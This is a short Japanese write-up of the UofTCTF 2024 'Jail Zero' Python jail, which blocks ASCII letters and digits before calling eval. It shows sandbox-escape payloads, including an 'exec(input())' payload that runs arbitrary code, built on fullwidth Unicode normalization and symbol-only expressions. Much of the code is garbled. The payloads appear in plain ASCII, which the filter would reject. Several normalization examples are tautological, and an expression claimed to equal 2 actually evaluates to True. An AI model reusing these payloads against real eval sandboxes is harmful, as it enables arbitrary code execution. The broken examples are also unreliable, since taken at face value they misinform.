UofTCTF 2024 - Jail Zero
Challenge
英数字禁止の pyjail。
import re
code = input()
if re.search(r'[a-zA-Z0-9]', code): print("Alphanumeric characters not allowed!") exit()
eval(code)Solution
アンダースコアによる dunder アクセス
英数字なしで __class__ などにアクセス:
# アンダースコアは使用可能______Unicode 正規化
全角英数字は NFKC 正規化により半角に変換される:
# 全角文字を使用eval # → eval として認識os # → os として認識記号のみでの構築
# True/False は比較演算で生成()==() # True()!=() # False
# 数値は True を使って構築()==()+()==() # 2完全なペイロード
# 全角文字を使用exec(input())または記号のみ:
# __class__ アクセス().__class__# ただし 'class' は英字なので全角を使用().__class__Technical Details
英数字なしのテクニック
| 目的 | 方法 |
|---|---|
| 数値 | ()==() で True(1) を生成し演算 |
| 文字列 | 全角文字、chr() |
| 属性名 | 全角識別子 |
| 関数呼び出し | () で可能 |
NFKC 正規化の対象
import unicodedata
# 全角英字unicodedata.normalize('NFKC', 'abc') # 'abc'
# 全角数字unicodedata.normalize('NFKC', '123') # '123'
# 特殊文字unicodedata.normalize('NFKC', 'ᵉᵛᵃˡ') # 'eval' (一部)Alternative Solutions
別解1: _ のみ使用
Python インタープリタでは _ が直前の結果を保持:
() # _に()が格納_.__class__ # クラスにアクセス別解2: ブラケット記法
().__getattribute__('__class__')Flag
uoftctf{...}
References
- UofTCTF 2024 Official
- Unicode NFKC Normalization